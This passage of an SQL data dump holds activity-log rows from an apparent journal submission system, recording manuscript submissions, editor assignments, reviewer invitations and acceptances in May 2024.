12:16:03','Manuscript Submitted by Publisher',14805,'Publisher',85),(134146,'2024-05-07 12:24:58','Manuscript Submitted by Publisher',14806,'Publisher',85),(134147,'2024-05-07 12:26:04','Manuscript Submitted by Publisher',14807,'Publisher',85),(134148,'2024-05-07 12:27:10','Manuscript Submitted by Publisher',14808,'Publisher',85),(134149,'2024-05-07 12:28:27','Manuscript Submitted by Publisher',14809,'Publisher',85),(134150,'2024-05-07 12:32:00','Manuscript Submitted by Publisher',14810,'Publisher',85),(134151,'2024-05-07 12:33:26','Manuscript Submitted by Publisher',14811,'Publisher',85),(134152,'2024-05-07 12:34:24','Manuscript Submitted by Publisher',14812,'Publisher',85),(134153,'2024-05-07 12:35:21','Manuscript Submitted by Publisher',14813,'Publisher',85),(134154,'2024-05-07 12:37:43','Manuscript Submitted by Publisher',14814,'Publisher',85),(134155,'2024-05-08 04:29:43','Publisher has been Assigned Editor',14804,'Publisher',1009),(134156,'2024-05-08 04:30:58','Publisher has been Assigned Editor',14803,'Publisher',1009),(134157,'2024-05-08 04:38:52','Publisher has been Assigned Editor',14802,'Publisher',1009),(134158,'2024-05-08 04:39:20','Publisher has been Assigned Editor',14801,'Publisher',1009),(134159,'2024-05-08 04:39:50','Publisher has been Assigned Editor',14800,'Publisher',1009),(134160,'2024-05-08 04:40:40','Publisher has been Assigned Editor',14799,'Publisher',1009),(134161,'2024-05-08 04:40:59','Publisher has been Assigned Editor',14787,'Publisher',248),(134162,'2024-05-08 04:41:18','Publisher has been Assigned Editor',14798,'Publisher',1009),(134163,'2024-05-08 04:42:10','Publisher has been Assigned Editor',14797,'Publisher',1009),(134164,'2024-05-08 04:44:01','Publisher has been Assigned Editor',14796,'Publisher',1009),(134165,'2024-05-08 04:45:49','Publisher has been Assigned Editor',14795,'Publisher',1009),(134166,'2024-05-08 04:48:07','Publisher has been Assigned Editor',14786,'Publisher',248),(134167,'2024-05-08 04:55:49','Manuscript Submitted by Publisher',14815,'Publisher',48),(134168,'2024-05-08 04:57:37','Manuscript Submitted by Publisher',14816,'Publisher',48),(134169,'2024-05-08 04:58:17','Publisher has been Assigned Editor',14785,'Publisher',248),(134170,'2024-05-08 05:01:32','Manuscript Submitted by Publisher',14817,'Publisher',48),(134171,'2024-05-08 05:03:49','Manuscript Submitted by Publisher',14818,'Publisher',48),(134172,'2024-05-08 05:06:56','Manuscript Submitted by Publisher',14819,'Publisher',48),(134173,'2024-05-08 05:09:36','Manuscript Submitted by Publisher',14820,'Publisher',48),(134174,'2024-05-08 05:10:39','Publisher has been Assigned Editor',14784,'Publisher',248),(134175,'2024-05-08 05:11:02','Manuscript Submitted by Publisher',14821,'Publisher',48),(134176,'2024-05-08 05:13:12','Manuscript Submitted by Publisher',14822,'Publisher',48),(134177,'2024-05-08 05:14:45','Manuscript Submitted by Publisher',14823,'Publisher',48),(134178,'2024-05-08 05:15:17','Publisher has been Assigned Editor',14783,'Publisher',248),(134179,'2024-05-08 05:16:01','Manuscript Submitted by Publisher',14824,'Publisher',48),(134180,'2024-05-08 05:17:27','Publisher has been Assigned Editor',14782,'Publisher',248),(134181,'2024-05-08 05:23:34','Editor has Accepted to review Manuscript',14745,'Editor',1787),(134182,'2024-05-08 05:23:56','Editor has been Editor Decision Accepted article',14745,'Editor',1787),(134183,'2024-05-08 05:26:44','Publisher has been Assigned Editor',14781,'Publisher',248),(134184,'2024-05-08 05:29:29','Publisher has been Assigned Editor',14780,'Publisher',248),(134185,'2024-05-08 05:33:19','Publisher has been Assigned Editor',14779,'Publisher',248),(134186,'2024-05-08 05:34:17','Publisher has been Assigned Editor',14778,'Publisher',248),(134187,'2024-05-08 05:35:10','Publisher has been Assigned Editor',14777,'Publisher',248),(134188,'2024-05-08 05:36:06','Publisher has been Assigned Editor',14776,'Publisher',248),(134189,'2024-05-08 05:37:00','Publisher has been Assigned Editor',14775,'Publisher',248),(134190,'2024-05-08 06:28:55','Publisher has been Assigned Editor',14824,'Publisher',48),(134191,'2024-05-08 06:29:05','Publisher has been Assigned Editor',14823,'Publisher',48),(134192,'2024-05-08 06:29:15','Publisher has been Assigned Editor',14822,'Publisher',48),(134193,'2024-05-08 06:29:25','Publisher has been Assigned Editor',14821,'Publisher',48),(134194,'2024-05-08 06:29:35','Publisher has been Assigned Editor',14820,'Publisher',48),(134195,'2024-05-08 06:29:49','Publisher has been Assigned Editor',14819,'Publisher',48),(134196,'2024-05-08 06:29:58','Publisher has been Assigned Editor',14818,'Publisher',48),(134197,'2024-05-08 06:30:11','Publisher has been Assigned Editor',14817,'Publisher',48),(134198,'2024-05-08 06:30:23','Publisher has been Assigned Editor',14816,'Publisher',48),(134199,'2024-05-08 06:30:33','Publisher has been Assigned Editor',14815,'Publisher',48),(134200,'2024-05-08 06:52:11','Publisher has been Assigned Editor',14814,'Publisher',85),(134201,'2024-05-08 06:52:23','Publisher has been Assigned Editor',14813,'Publisher',85),(134202,'2024-05-08 06:52:34','Publisher has been Assigned Editor',14812,'Publisher',85),(134203,'2024-05-08 06:52:45','Publisher has been Assigned Editor',14811,'Publisher',85),(134204,'2024-05-08 06:52:57','Publisher has been Assigned Editor',14810,'Publisher',85),(134205,'2024-05-08 06:53:38','Publisher has been Assigned Editor',14809,'Publisher',85),(134206,'2024-05-08 06:53:52','Publisher has been Assigned Editor',14808,'Publisher',85),(134207,'2024-05-08 06:54:03','Publisher has been Assigned Editor',14807,'Publisher',85),(134208,'2024-05-08 06:54:14','Publisher has been Assigned Editor',14806,'Publisher',85),(134209,'2024-05-08 06:54:25','Publisher has been Assigned Editor',14805,'Publisher',85),(134210,'2024-05-08 10:23:00','Manuscript Updated',14814,'Publisher',85),(134211,'2024-05-08 10:23:16','Publisher has been Accepted Articles  article',14814,'Publisher',85),(134212,'2024-05-08 10:23:28','Manuscript Updated',14814,'Publisher',85),(134213,'2024-05-08 10:23:36','Manuscript Updated',14813,'Publisher',85),(134214,'2024-05-08 10:23:48','Publisher has been Accepted Articles  article',14813,'Publisher',85),(134215,'2024-05-08 10:23:57','Manuscript Updated',14813,'Publisher',85),(134216,'2024-05-08 10:24:09','Manuscript Updated',14812,'Publisher',85),(134217,'2024-05-08 10:24:20','Publisher has been Accepted Articles  article',14812,'Publisher',85),(134218,'2024-05-08 10:24:25','Manuscript Updated',14811,'Publisher',85),(134219,'2024-05-08 10:24:36','Publisher has been Accepted Articles  article',14811,'Publisher',85),(134220,'2024-05-08 10:24:43','Manuscript Updated',14810,'Publisher',85),(134221,'2024-05-08 10:24:53','Publisher has been Accepted Articles  article',14810,'Publisher',85),(134222,'2024-05-08 10:25:14','Manuscript Updated',14809,'Publisher',85),(134223,'2024-05-08 10:25:24','Publisher has been Accepted Articles  article',14809,'Publisher',85),(134224,'2024-05-08 10:25:34','Manuscript Updated',14808,'Publisher',85),(134225,'2024-05-08 10:25:46','Publisher has been Accepted Articles  article',14808,'Publisher',85),(134226,'2024-05-08 10:26:02','Manuscript Updated',14807,'Publisher',85),(134227,'2024-05-08 10:26:19','Publisher has been Accepted Articles  article',14807,'Publisher',85),(134228,'2024-05-08 10:26:29','Manuscript Updated',14806,'Publisher',85),(134229,'2024-05-08 10:26:39','Publisher has been Accepted Articles  article',14806,'Publisher',85),(134230,'2024-05-08 10:26:46','Manuscript Updated',14805,'Publisher',85),(134231,'2024-05-08 10:26:59','Publisher has been Accepted Articles  article',14805,'Publisher',85),(134232,'2024-05-08 17:39:06','Manuscript Submitted by Author using Submission form',14825,'Author',14825),(134233,'2024-05-09 03:56:31','Publisher has been Assigned Editor',14793,'Publisher',376),(134234,'2024-05-09 03:56:46','Publisher has been Assigned Editor',14792,'Publisher',376),(134235,'2024-05-09 03:57:02','Publisher has been Assigned Editor',14791,'Publisher',376),(134236,'2024-05-09 03:57:17','Publisher has been Assigned Editor',14790,'Publisher',376),(134237,'2024-05-09 03:57:48','Publisher has been Assigned Editor',14789,'Publisher',376),(134238,'2024-05-09 06:02:49','Publisher has been Assigned Editor',14825,'Publisher',48),(134239,'2024-05-09 06:03:55','Publisher has been Accepted Articles  article',14824,'Publisher',48),(134240,'2024-05-09 06:04:12','Publisher has been Accepted Articles  article',14822,'Publisher',48),(134241,'2024-05-09 06:04:27','Publisher has been Accepted Articles  article',14819,'Publisher',48),(134242,'2024-05-09 06:04:41','Publisher has been Accepted Articles  article',14818,'Publisher',48),(134243,'2024-05-09 06:04:56','Publisher has been Accepted Articles  article',14817,'Publisher',48),(134244,'2024-05-09 06:05:17','Manuscript Updated',14823,'Publisher',48),(134245,'2024-05-09 06:05:30','Publisher has been Accepted Articles  article',14823,'Publisher',48),(134246,'2024-05-09 06:05:43','Manuscript Updated',14823,'Publisher',48),(134247,'2024-05-09 06:05:55','Manuscript Updated',14821,'Publisher',48),(134248,'2024-05-09 06:06:07','Publisher has been Accepted Articles  article',14821,'Publisher',48),(134249,'2024-05-09 06:06:20','Manuscript Updated',14821,'Publisher',48),(134250,'2024-05-09 06:06:33','Manuscript Updated',14820,'Publisher',48),(134251,'2024-05-09 06:06:46','Publisher has been Accepted Articles  article',14820,'Publisher',48),(134252,'2024-05-09 06:07:00','Manuscript Updated',14820,'Publisher',48),(134253,'2024-05-09 06:07:13','Manuscript Updated',14816,'Publisher',48),(134254,'2024-05-09 06:07:27','Publisher has been Accepted Articles  article',14816,'Publisher',48),(134255,'2024-05-09 06:07:44','Publisher has been Accepted Articles  article',14816,'Publisher',48),(134256,'2024-05-09 06:07:56','Manuscript Updated',14816,'Publisher',48),(134257,'2024-05-09 06:08:13','Manuscript Updated',14815,'Publisher',48),(134258,'2024-05-09 06:08:26','Publisher has been Accepted Articles  article',14815,'Publisher',48),(134259,'2024-05-09 06:08:48','Manuscript Updated',14815,'Publisher',48),(134260,'2024-05-09 06:13:36','Publisher has Invited Reviewer',14825,'Publisher',48),(134261,'2024-05-09 06:13:39','Publisher has Invited Reviewer',14825,'Publisher',48),(134262,'2024-05-09 06:13:42','Publisher has Invited Reviewer',14825,'Publisher',48),(134263,'2024-05-09 06:13:45','Publisher has Invited Reviewer',14825,'Publisher',48),(134264,'2024-05-09 06:13:48','Publisher has Invited Reviewer',14825,'Publisher',48),(134265,'2024-05-09 06:13:51','Publisher has Invited Reviewer',14825,'Publisher',48),(134266,'2024-05-09 06:13:54','Publisher has Invited Reviewer',14825,'Publisher',48),(134267,'2024-05-09 06:13:57','Publisher has Invited Reviewer',14825,'Publisher',48),(134268,'2024-05-09 06:14:00','Publisher has Invited Reviewer',14825,'Publisher',48),(134269,'2024-05-09 06:14:03','Publisher has Invited Reviewer',14825,'Publisher',48),(134270,'2024-05-09 06:14:06','Publisher has Invited Reviewer',14825,'Publisher',48),(134271,'2024-05-09 06:14:09','Publisher has Invited Reviewer',14825,'Publisher',48),(134272,'2024-05-09 06:14:12','Publisher has Invited Reviewer',14825,'Publisher',48),(134273,'2024-05-09 06:14:15','Publisher has Invited Reviewer',14825,'Publisher',48),(134274,'2024-05-09 06:14:18','Publisher has Invited Reviewer',14825,'Publisher',48),(134275,'2024-05-09 06:14:21','Publisher has Invited Reviewer',14825,'Publisher',48),(134276,'2024-05-09 06:14:24','Publisher has Invited Reviewer',14825,'Publisher',48),(134277,'2024-05-09 06:14:27','Publisher has Invited Reviewer',14825,'Publisher',48),(134278,'2024-05-09 06:36:27','Manuscript Submitted by Publisher',14826,'Publisher',673),(134279,'2024-05-09 06:38:20','Manuscript Submitted by Publisher',14827,'Publisher',673),(134280,'2024-05-09 06:40:08','Manuscript Submitted by Publisher',14828,'Publisher',673),(134281,'2024-05-09 06:42:10','Manuscript Submitted by Publisher',14829,'Publisher',673),(134282,'2024-05-09 06:44:28','Manuscript Submitted by Publisher',14830,'Publisher',673),(134283,'2024-05-09 11:02:37','Manuscript Submitted by Author',14831,'Author',14826),(134284,'2024-05-09 11:55:01','Publisher has been Assigned Editor',14831,'Publisher',48),(134285,'2024-05-09 11:55:57','Publisher has Invited Reviewer',14831,'Publisher',48),(134286,'2024-05-09 11:56:00','Publisher has Invited Reviewer',14831,'Publisher',48),(134287,'2024-05-09 11:56:03','Publisher has Invited Reviewer',14831,'Publisher',48),(134288,'2024-05-09 11:56:06','Publisher has Invited Reviewer',14831,'Publisher',48),(134289,'2024-05-09 11:56:09','Publisher has Invited Reviewer',14831,'Publisher',48),(134290,'2024-05-09 11:56:12','Publisher has Invited Reviewer',14831,'Publisher',48),(134291,'2024-05-09 11:56:15','Publisher has Invited Reviewer',14831,'Publisher',48),(134292,'2024-05-09 11:56:18','Publisher has Invited Reviewer',14831,'Publisher',48),(134293,'2024-05-09 11:56:21','Publisher has Invited Reviewer',14831,'Publisher',48),(134294,'2024-05-09 11:56:24','Publisher has Invited Reviewer',14831,'Publisher',48),(134295,'2024-05-09 11:56:27','Publisher has Invited Reviewer',14831,'Publisher',48),(134296,'2024-05-09 11:56:30','Publisher has Invited Reviewer',14831,'Publisher',48),(134297,'2024-05-09 11:56:33','Publisher has Invited Reviewer',14831,'Publisher',48),(134298,'2024-05-09 11:56:36','Publisher has Invited Reviewer',14831,'Publisher',48),(134299,'2024-05-09 11:56:39','Publisher has Invited Reviewer',14831,'Publisher',48),(134300,'2024-05-09 11:56:42','Publisher has Invited Reviewer',14831,'Publisher',48),(134301,'2024-05-09 11:56:45','Publisher has Invited Reviewer',14831,'Publisher',48),(134302,'2024-05-09 11:56:48','Publisher has Invited Reviewer',14831,'Publisher',48),(134303,'2024-05-09 16:52:01','Reviewer has submitted comments',14831,'Reviewer',11350),(134304,'2024-05-10 06:35:50','Publisher has been Assigned Editor',14830,'Publisher',673),(134305,'2024-05-10 06:36:03','Publisher has been Assigned Editor',14829,'Publisher',673),(134306,'2024-05-10 06:36:15','Publisher has been Assigned Editor',14828,'Publisher',673),(134307,'2024-05-10 06:36:32','Publisher has been Assigned Editor',14827,'Publisher',673),(134308,'2024-05-10 06:36:47','Publisher has been Assigned Editor',14826,'Publisher',673),(134309,'2024-05-10 08:24:09','Manuscript Submitted by Publisher',14832,'Publisher',673),(134310,'2024-05-10 08:27:15','Manuscript Submitted by Publisher',14833,'Publisher',673),(134311,'2024-05-10 11:10:10','Reviewer has submitted comments',14750,'Reviewer',11578),(134312,'2024-05-10 11:10:35','Manuscript Updated',14750,'Publisher',48),(134313,'2024-05-10 11:10:52','Publisher has been Accepted Articles  article',14750,'Publisher',48),(134314,'2024-05-10 11:11:01','Manuscript Updated',14750,'Publisher',48),(134315,'2024-05-10 11:48:27','Manuscript Submitted by Publisher',14834,'Publisher',673),(134316,'2024-05-10 11:50:19','Manuscript Submitted by Publisher',14835,'Publisher',673),(134317,'2024-05-10 11:52:36','Manuscript Submitted by Publisher',14836,'Publisher',673),(134318,'2024-05-10 11:53:01','Publisher has been Assigned Editor',14833,'Publisher',673),(134319,'2024-05-10 11:53:33','Publisher has been Assigned Editor',14832,'Publisher',673),(134320,'2024-05-10 17:02:48','Editor has Accepted to review Manuscript',14831,'Editor',192),(134321,'2024-05-10 17:10:15','Editor sent Email',14831,'Editor',192),(134322,'2024-05-14 04:15:22','Manuscript Submitted by Publisher',14837,'Publisher',75),(134323,'2024-05-14 04:17:50','Manuscript Submitted by Publisher',14838,'Publisher',75),(134324,'2024-05-14 04:19:49','Manuscript Submitted by Publisher',14839,'Publisher',75),(134325,'2024-05-14 04:21:56','Manuscript Submitted by Publisher',14840,'Publisher',75),(134326,'2024-05-14 04:24:29','Manuscript Submitted by Publisher',14841,'Publisher',75),(134327,'2024-05-14 04:25:58','Manuscript Submitted by Publisher',14842,'Publisher',75),(134328,'2024-05-14 04:27:38','Manuscript Submitted by Publisher',14843,'Publisher',75),(134329,'2024-05-14 04:29:42','Manuscript Submitted by Publisher',14844,'Publisher',75),(134330,'2024-05-14 04:31:07','Manuscript Submitted by Publisher',14845,'Publisher',75),(134331,'2024-05-14 04:33:37','Manuscript Submitted by Publisher',14846,'Publisher',75),(134332,'2024-05-14 06:15:12','Publisher has been Assigned Editor',14837,'Publisher',75),(134333,'2024-05-14 06:15:58','Publisher has been Assigned Editor',14838,'Publisher',75),(134334,'2024-05-14 06:16:18','Publisher has been Assigned Editor',14846,'Publisher',75),(134335,'2024-05-14 06:16:29','Publisher has been Assigned Editor',14845,'Publisher',75),(134336,'2024-05-14 06:16:41','Publisher has been Assigned Editor',14844,'Publisher',75),(134337,'2024-05-14 06:16:58','Publisher has been Assigned Editor',14843,'Publisher',75),(134338,'2024-05-14 06:17:11','Publisher has been Assigned Editor',14842,'Publisher',75),(134339,'2024-05-14 06:17:21','Publisher has been Assigned Editor',14841,'Publisher',75),(134340,'2024-05-14 06:17:37','Publisher has been Assigned Editor',14840,'Publisher',75),(134341,'2024-05-14 06:17:46','Publisher has been Assigned Editor',14839,'Publisher',75),(134342,'2024-05-14 06:24:46','Publisher has been Assigned Editor',14836,'Publisher',673),(134343,'2024-05-14 06:25:03','Publisher has been Assigned Editor',14835,'Publisher',673),(134344,'2024-05-14 06:25:22','Publisher has been Assigned Editor',14834,'Publisher',673),(134345,'2024-05-14 09:55:10','Reviewer has submitted comments',14825,'Reviewer',11519),(134346,'2024-05-14 09:56:58','Publisher has Unassign Editor',14825,'Publisher',48),(134347,'2024-05-14 09:57:30','Editor has Accepted to review Manuscript',14825,'Editor',194),(134348,'2024-05-14 10:00:21','Editor has been Editor Decision Accepted article',14825,'Editor',194),(134349,'2024-05-14 10:07:25','Manuscript Updated',14738,'',1050),(134350,'2024-05-14 10:18:06','Reviewer has submitted comments',14706,'Reviewer',21677),(134351,'2024-05-14 10:21:13','Editor has been Editor Decision Accepted article',14706,'Editor',195),(134352,'2024-05-14 10:21:52','Publisher has been Accepted Articles  article',14706,'',1045),(134353,'2024-05-14 12:20:38','Manuscript Updated',14846,'Publisher',75),(134354,'2024-05-14 12:21:03','Publisher has been Accepted Articles  article',14846,'Publisher',75),(134355,'2024-05-14 12:21:39','Manuscript Updated',14845,'Publisher',75),(134356,'2024-05-14 12:21:58','Publisher has been Accepted Articles  article',14845,'Publisher',75),(134357,'2024-05-14 12:22:19','Manuscript Updated',14844,'Publisher',75),(134358,'2024-05-14 12:22:36','Publisher has been Accepted Articles  article',14844,'Publisher',75),(134359,'2024-05-14 12:22:56','Manuscript Updated',14843,'Publisher',75),(134360,'2024-05-14 12:23:13','Publisher has been Accepted Articles  article',14843,'Publisher',75),(134361,'2024-05-14 12:25:30','Manuscript Updated',14842,'Publisher',75),(134362,'2024-05-14 12:25:47','Publisher has been Accepted Articles  article',14842,'Publisher',75),(134363,'2024-05-14 12:26:06','Manuscript Updated',14841,'Publisher',75),(134364,'2024-05-14 12:26:22','Publisher has been Accepted Articles  article',14841,'Publisher',75),(134365,'2024-05-14 12:31:36','Manuscript Updated',14840,'Publisher',75),(134366,'2024-05-14 12:31:53','Publisher has been Accepted Articles  article',14840,'Publisher',75),(134367,'2024-05-14 12:32:11','Manuscript Updated',14839,'Publisher',75),(134368,'2024-05-14 12:32:27','Publisher has been Accepted Articles  article',14839,'Publisher',75),(134369,'2024-05-14 12:32:47','Manuscript Updated',14838,'Publisher',75),(134370,'2024-05-14 12:33:01','Publisher has been Accepted Articles  article',14838,'Publisher',75),(134371,'2024-05-14 12:33:20','Manuscript Updated',14837,'Publisher',75),(134372,'2024-05-14 12:33:32','Publisher has been Accepted Articles  article',14837,'Publisher',75),(134373,'2024-05-14 14:30:15','Manuscript Submitted by Author using Submission form',14847,'Author',14847),(134374,'2024-05-15 05:53:58','Publisher has been Assigned Editor',14847,'Publisher',75),(134375,'2024-05-15 06:20:58','Publisher has been Accepted Articles  article',14825,'Publisher',48),(134376,'2024-05-15 06:36:01','Manuscript Submitted by Publisher',14848,'Publisher',319),(134377,'2024-05-15 06:39:06','Manuscript Submitted by Publisher',14849,'Publisher',319),(134378,'2024-05-15 07:44:58','Manuscript Submitted by Publisher',14850,'Publisher',85),(134379,'2024-05-15 07:46:44','Manuscript Submitted by Publisher',14851,'Publisher',85),(134380,'2024-05-15 07:47:52','Manuscript Submitted by Publisher',14852,'Publisher',85),(134381,'2024-05-15 07:49:02','Manuscript Submitted by Publisher',14853,'Publisher',85),(134382,'2024-05-15 07:50:02','Manuscript Submitted by Publisher',14854,'Publisher',85),(134383,'2024-05-15 07:53:27','Manuscript Submitted by Publisher',14855,'Publisher',85),(134384,'2024-05-15 07:54:38','Manuscript Submitted by Publisher',14856,'Publisher',85),(134385,'2024-05-15 07:55:36','Manuscript Submitted by Publisher',14857,'Publisher',85),(134386,'2024-05-15 07:56:18','Manuscript Submitted by Publisher',14858,'Publisher',85),(134387,'2024-05-15 07:57:16','Manuscript Submitted by Publisher',14859,'Publisher',85),(134388,'2024-05-15 08:00:10','Manuscript Submitted by Publisher',14860,'Publisher',319),(134389,'2024-05-15 08:05:15','Manuscript Submitted by Publisher',14861,'Publisher',319),(134390,'2024-05-15 08:09:35','Manuscript Submitted by Publisher',14862,'Publisher',319),(134391,'2024-05-15 08:16:44','Manuscript Submitted by Publisher',14863,'Publisher',319),(134392,'2024-05-15 08:23:45','Manuscript Submitted by Publisher',14864,'Publisher',319),(134393,'2024-05-15 08:28:01','Manuscript Submitted by Publisher',14865,'Publisher',319),(134394,'2024-05-15 08:44:13','Manuscript Submitted by Publisher',14866,'Publisher',319),(134395,'2024-05-15 08:48:34','Manuscript Submitted by Publisher',14867,'Publisher',319),(134396,'2024-05-15 09:58:56','Publisher has Unassign Editor',14831,'Publisher',48),(134397,'2024-05-15 09:59:39','Editor has Accepted to review Manuscript',14831,'Editor',194),(134398,'2024-05-15 10:00:51','Editor has been Editor Decision Accepted article',14831,'Editor',194),(134399,'2024-05-16 06:23:58','Editor has Accepted to review Manuscript',14737,'Editor',1406),(134400,'2024-05-16 06:24:11','Editor has been Editor Decision Accepted article',14737,'Editor',1406),(134401,'2024-05-16 06:25:04','Editor has been 2 article',14737,'',1212),(134402,'2024-05-16 08:11:15','Manuscript Submitted by Publisher',14868,'Publisher',988),(134403,'2024-05-16 08:13:12','Manuscript Submitted by Publisher',14869,'Publisher',988),(134404,'2024-05-16 08:18:58','Manuscript Submitted by Publisher',14870,'Publisher',988),(134405,'2024-05-16 08:20:41','Manuscript Submitted by Publisher',14871,'Publisher',988),(134406,'2024-05-16 08:24:25','Manuscript Submitted by Publisher',14872,'Publisher',988),(134407,'2024-05-16 08:38:54','Manuscript Submitted by Publisher',14873,'Publisher',988),(134408,'2024-05-16 08:42:55','Manuscript Submitted by Publisher',14874,'Publisher',988),(134409,'2024-05-16 08:43:31','Manuscript Submitted by Publisher',14875,'Publisher',988),(134410,'2024-05-16 08:47:28','Manuscript Submitted by Publisher',14876,'Publisher',988),(134411,'2024-05-16 08:48:22','Manuscript Submitted by Publisher',14877,'Publisher',988),(134412,'2024-05-16 11:51:03','Manuscript Updated',14738,'',1050),(134413,'2024-05-16 11:52:05','Publisher has been Accepted Articles  article',14738,'',1050),(134414,'2024-05-16 11:52:11','Publisher has been Accepted Articles  article',14738,'',1050),(134415,'2024-05-16 11:52:17','Publisher has been Accepted Articles  article',14738,'',1050),(134416,'2024-05-16 11:52:20','Publisher has been Accepted Articles  article',14738,'',1050),(134417,'2024-05-16 11:52:21','Publisher has been Accepted Articles  article',14738,'',1050),(134418,'2024-05-16 11:52:23','Publisher has been Accepted Articles  article',14738,'',1050),(134419,'2024-05-16 11:52:24','Publisher has been Accepted Articles  article',14738,'',1050),(134420,'2024-05-16 11:52:25','Publisher has been Accepted Articles  article',14738,'',1050),(134421,'2024-05-16 11:58:24','Manuscript Submitted by Author using Submission form',14878,'Author',14876),(134422,'2024-05-16 12:11:58','Publisher has been Assigned Editor',14859,'Publisher',85),(134423,'2024-05-16 12:12:12','Publisher has been Assigned Editor',14858,'Publisher',85),(134424,'2024-05-16 12:12:22','Publisher has been Assigned Editor',14857,'Publisher',85),(134425,'2024-05-16 12:12:32','Publisher has been Assigned Editor',14856,'Publisher',85),(134426,'2024-05-16 12:12:43','Publisher has been Assigned Editor',14855,'Publisher',85),(134427,'2024-05-16 12:12:53','Publisher has been Assigned Editor',14854,'Publisher',85),(134428,'2024-05-16 12:13:05','Publisher has been Assigned Editor',14853,'Publisher',85),(134429,'2024-05-16 12:13:16','Publisher has been Assigned Editor',14852,'Publisher',85),(134430,'2024-05-16 12:13:27','Publisher has been Assigned Editor',14851,'Publisher',85),(134431,'2024-05-16 12:13:37','Publisher has been Assigned Editor',14850,'Publisher',85),(134432,'2024-05-16 12:14:20','Publisher has been Accepted Articles  article',14859,'Publisher',85),(134433,'2024-05-16 12:14:35','Publisher has been Accepted Articles  article',14858,'Publisher',85),(134434,'2024-05-16 12:14:47','Publisher has been Accepted Articles  article',14857,'Publisher',85),(134435,'2024-05-16 12:14:59','Publisher has been Accepted Articles  article',14856,'Publisher',85),(134436,'2024-05-16 12:15:16','Publisher has been Accepted Articles  article',14855,'Publisher',85),(134437,'2024-05-16 12:15:32','Publisher has been Accepted Articles  article',14854,'Publisher',85),(134438,'2024-05-16 12:15:45','Publisher has been Accepted Articles  article',14853,'Publisher',85),(134439,'2024-05-16 12:16:03','Publisher has been Accepted Articles  article',14852,'Publisher',85),(134440,'2024-05-16 12:16:22','Manuscript Updated',14851,'Publisher',85),(134441,'2024-05-16 12:16:28','Manuscript Updated',14850,'Publisher',85),(134442,'2024-05-16 12:16:41','Publisher has been Accepted Articles  article',14851,'Publisher',85),(134443,'2024-05-16 12:16:53','Publisher has been Accepted Articles  article',14850,'Publisher',85),(134444,'2024-05-17 03:58:47','Publisher has been Assigned Editor',14867,'Publisher',319),(134445,'2024-05-17 03:59:08','Publisher has been Assigned Editor',14866,'Publisher',319),(134446,'2024-05-17 03:59:24','Publisher has been Assigned Editor',14865,'Publisher',319),(134447,'2024-05-17 03:59:37','Publisher has been Assigned Editor',14864,'Publisher',319),(134448,'2024-05-17 03:59:53','Publisher has been Assigned Editor',14863,'Publisher',319),(134449,'2024-05-17 04:00:08','Publisher has been Assigned Editor',14862,'Publisher',319),(134450,'2024-05-17 04:00:21','Publisher has been Assigned Editor',14861,'Publisher',319),(134451,'2024-05-17 04:00:36','Publisher has been Assigned Editor',14860,'Publisher',319),(134452,'2024-05-17 04:00:49','Publisher has been Assigned Editor',14849,'Publisher',319),(134453,'2024-05-17 04:01:04','Publisher has been Assigned Editor',14848,'Publisher',319),(134454,'2024-05-17 05:22:27','Manuscript Submitted by Publisher',14879,'Publisher',274),(134455,'2024-05-17 05:32:42','Manuscript Submitted by Publisher',14880,'Publisher',274),(134456,'2024-05-17 05:48:04','Manuscript Submitted by Publisher',14881,'Publisher',274),(134457,'2024-05-17 06:35:03','Manuscript Submitted by Publisher',14882,'Publisher',274),(134458,'2024-05-17 06:45:19','Manuscript Submitted by Publisher',14883,'Publisher',274),(134459,'2024-05-17 08:03:58','Manuscript Submitted by Publisher',14884,'Publisher',274),(134460,'2024-05-17 08:17:43','Manuscript Submitted by Publisher',14885,'Publisher',274),(134461,'2024-05-17 08:37:33','Manuscript Submitted by Publisher',14886,'Publisher',274),(134462,'2024-05-17 08:46:11','Manuscript Submitted by Publisher',14887,'Publisher',274),(134463,'2024-05-17 09:22:00','Publisher has been Assigned Editor',14887,'Publisher',274),(134464,'2024-05-17 09:22:12','Publisher has been Assigned Editor',14886,'Publisher',274),(134465,'2024-05-17 09:22:23','Publisher has been Assigned Editor',14885,'Publisher',274),(134466,'2024-05-17 09:22:33','Publisher has been Assigned Editor',14884,'Publisher',274),(134467,'2024-05-17 09:22:56','Publisher has been Assigned Editor',14883,'Publisher',274),(134468,'2024-05-17 09:23:08','Publisher has been Assigned Editor',14882,'Publisher',274),(134469,'2024-05-17 09:23:40','Publisher has been Assigned Editor',14881,'Publisher',274),(134470,'2024-05-17 09:23:51','Publisher has been Assigned Editor',14880,'Publisher',274),(134471,'2024-05-17 09:24:03','Publisher has been Assigned Editor',14879,'Publisher',274),(134472,'2024-05-17 09:31:00','Manuscript Submitted by Publisher',14888,'Publisher',972),(134473,'2024-05-17 09:32:04','Manuscript Submitted by Publisher',14889,'Publisher',972),(134474,'2024-05-17 09:32:58','Manuscript Submitted by Publisher',14890,'Publisher',972),(134475,'2024-05-17 09:37:34','Manuscript Submitted by Publisher',14891,'Publisher',972),(134476,'2024-05-17 09:38:17','Manuscript Submitted by Publisher',14892,'Publisher',972),(134477,'2024-05-17 09:38:55','Manuscript Submitted by Publisher',14893,'Publisher',972),(134478,'2024-05-17 09:43:14','Publisher has been Assigned Editor',14877,'Publisher',988),(134479,'2024-05-17 09:43:29','Publisher has been Assigned Editor',14876,'Publisher',988),(134480,'2024-05-17 09:43:50','Publisher has been Assigned Editor',14875,'Publisher',988),(134481,'2024-05-17 09:44:02','Publisher has been Assigned Editor',14874,'Publisher',988),(134482,'2024-05-17 09:44:13','Publisher has been Assigned Editor',14873,'Publisher',988),(134483,'2024-05-17 09:44:24','Publisher has been Assigned Editor',14872,'Publisher',988),(134484,'2024-05-17 09:44:35','Publisher has been Assigned Editor',14871,'Publisher',988),(134485,'2024-05-17 09:44:47','Publisher has been Assigned Editor',14870,'Publisher',988),(134486,'2024-05-17 09:44:59','Publisher has been Assigned Editor',14869,'Publisher',988),(134487,'2024-05-17 09:45:12','Publisher has been Assigned Editor',14868,'Publisher',988),(134488,'2024-05-18 06:34:46','Manuscript Submitted by Author using Submission form',14894,'Author',14892),(134489,'2024-05-19 16:16:48','Manuscript Submitted by Author using Submission form',14895,'Author',14893),(134490,'2024-05-20 08:29:37','Publisher has been Assigned Editor',14888,'Publisher',972),(134491,'2024-05-20 08:29:52','Publisher has been Assigned Editor',14889,'Publisher',972),(134492,'2024-05-20 08:30:06','Publisher has been Assigned Editor',14890,'Publisher',972),(134493,'2024-05-20 08:30:30','Publisher has been Assigned Editor',14891,'Publisher',972),(134494,'2024-05-20 